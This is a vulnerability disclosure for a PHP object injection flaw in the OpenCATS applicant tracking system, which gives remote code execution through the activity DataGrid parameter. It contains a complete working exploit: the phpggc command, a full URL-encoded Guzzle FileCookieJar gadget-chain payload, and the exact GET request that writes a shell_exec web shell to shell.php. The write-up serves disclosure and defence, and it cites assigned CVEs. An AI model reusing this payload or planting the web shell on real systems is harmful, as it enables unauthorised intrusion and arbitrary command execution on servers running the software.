Introduction

OpenCATS is an application tracking system that is written in PHP. More about OpenCATS can be seen here: https://www.opencats.org/. OpenCATS is vulnerable to PHP Object injection, by leveraging this vulnerability, it is possible to conduct arbitrary file write and execute arbitrary code on a system.

Technical Details

OpenCATS has an activity area to keep track of activities.

The following request is being sent to the application as part of a normal application workflow.

The parametersactivity:ActivityDataGrid parameter is sending serialized data as seen below which is being deserialized by the application using the unserialize function.

a:9:{s:10:"rangeStart";i:0;s:10:"maxResults";i:15;s:13:"filterVisible";b:0;s:9:"startDate";s:0:"";s:7:"endDate";s:0:"";s:6:"period";s:37:"DATE_SUB(CURDATE(), INTERVAL 1 MONTH)";s:6:"sortBy";s:15:"dateCreatedSort";s:13:"sortDirection";s:4:"DESC";s:11:"filterAlpha";s:1:"L";}

The unserialize function can be seen in DataGrid.php

https://github.com/opencats/OpenCATS/blob/develop/lib/DataGrid.php#L272

To exploit with vulnerability, a POP gadget chain can be created using guzzlehttp. A __destruct magic method available within /var/www/public/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php can be leveraged to write arbitrary files to the system.

The relevant code that needs to be triggered can be seen below:

    public function __destruct()
    {
        $this->save($this->filename);
    }

    /**
     * Saves the cookies to a file.
     *
     * @param string $filename File to save
     * @throws \RuntimeException if the file cannot be found or created
     */
    public function save($filename)
    {
        $json = [];
        foreach ($this as $cookie) {
            /** @var SetCookie $cookie */
            if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
                $json[] = $cookie->toArray();
            }
        }

        $jsonStr = \GuzzleHttp\json_encode($json);
        if (false === file_put_contents($filename, $jsonStr)) {
            throw new \RuntimeException("Unable to save file {$filename}");
        }
    }

In the above example, the destruct() magic method calls the save() method on the FileCookieJar class. The save method take a value called filename which is a property of an object, The contents of th is file comes from the $json array which get the value from $cookie->toArray(), and $cookie being an object.

Multiple checks are also done to ensure that $cookie->getExpires() returns true and $cookie->getDiscard() returns false. After these checks, The $json array is then json encoded and written to a file using the file_put_contents function.

This is an already known gadget found by cf which is available within Guzzle versions 6.0.0 <= 6.3.3+

phpggc can be used to generate a serialized exploit payload for this gadget

A payload such as <?php echo shell_exec($_GET['e'].' 2>&1'); ?> can now be used with phpggc to generate a serialized gadget chain which will store shell.php within /var/www/public/shell.php of the target OpenCAT system.

💻  📂  🍣 master ❯ ./phpggc -u --fast-destruct Guzzle/FW1 /var/www/public/shell.php  /tmp/shell.php 
a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A25%3A%22%2Fvar%2Fwww%2Fpublic%2Fshell.php%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A45%3A%22%3C%3Fphp+echo+shell_exec%28%24_GET%5B%27e%27%5D.%27+2%3E%261%27%29%3B+%3F%3E%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3B%7Di%3A7%3Bi%3A7%3B%7D

The request with the payload can now be sent.

GET /index.php?m=activity&parametersactivity%3AActivityDataGrid=a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A25%3A%22%2Fvar%2Fwww%2Fpublic%2Fshell.php%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A45%3A%22%3C%3Fphp+echo+shell_exec%28%24_GET%5B%27e%27%5D.%27+2%3E%261%27%29%3B+%3F%3E%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3B%7Di%3A7%3Bi%3A7%3B%7D HTTP/1.12
Host: dvws.local
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://dvws.local/index.php?m=activity
Cookie: _pc_tvs=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MDkzNjMwNTYsInB0ZyI6eyJjbWY6c2ciOnsiODYwIjoxLCIxMDA3IjoxfSwiX2MiOjE2MDkzNTgwMjEsIl91IjoxNjA5MzU5MzI3fSwiZXhwIjoxNjQwODk5MDU2fQ.OFq8osGBuTAJUengo4LZey2wBuonlgwGBvwJ327pHbQ; _pc_vis=da58a38788948fae; _ga=GA1.2.1963052574.1609358122; sugar_user_theme=SuiteP; ck_login_id_20=1; ck_login_language_20=en_us; EmailGridWidths=0=10&1=10&2=150&3=250&4=175&5=125; Users_divs=Users_aclroles_v%3Dtrue%23undefined%3D%23; ProspectLists_divs=ProspectLists_contacts_v%3Dtrue%23undefined%3D%23ProspectLists_prospects_v%3Dtrue%23; CATS=0cf6e6265f75d23a9abbcf8d70091118
Upgrade-Insecure-Requests: 1

The shell.php can now be leveraged to execute arbitrary code.

Note:Multiple other areas within OpenCATs are also taking deserialized user input which can be leveraged for the same vulnerability. Also, Multiple Cross-site Scripting (XSS) issues also exist on this codebase.

I’ve opened a GitHub issue to report this issue and CVE has assigned two CVEs as well: CVE-2021-25294 and CVE-2021-25295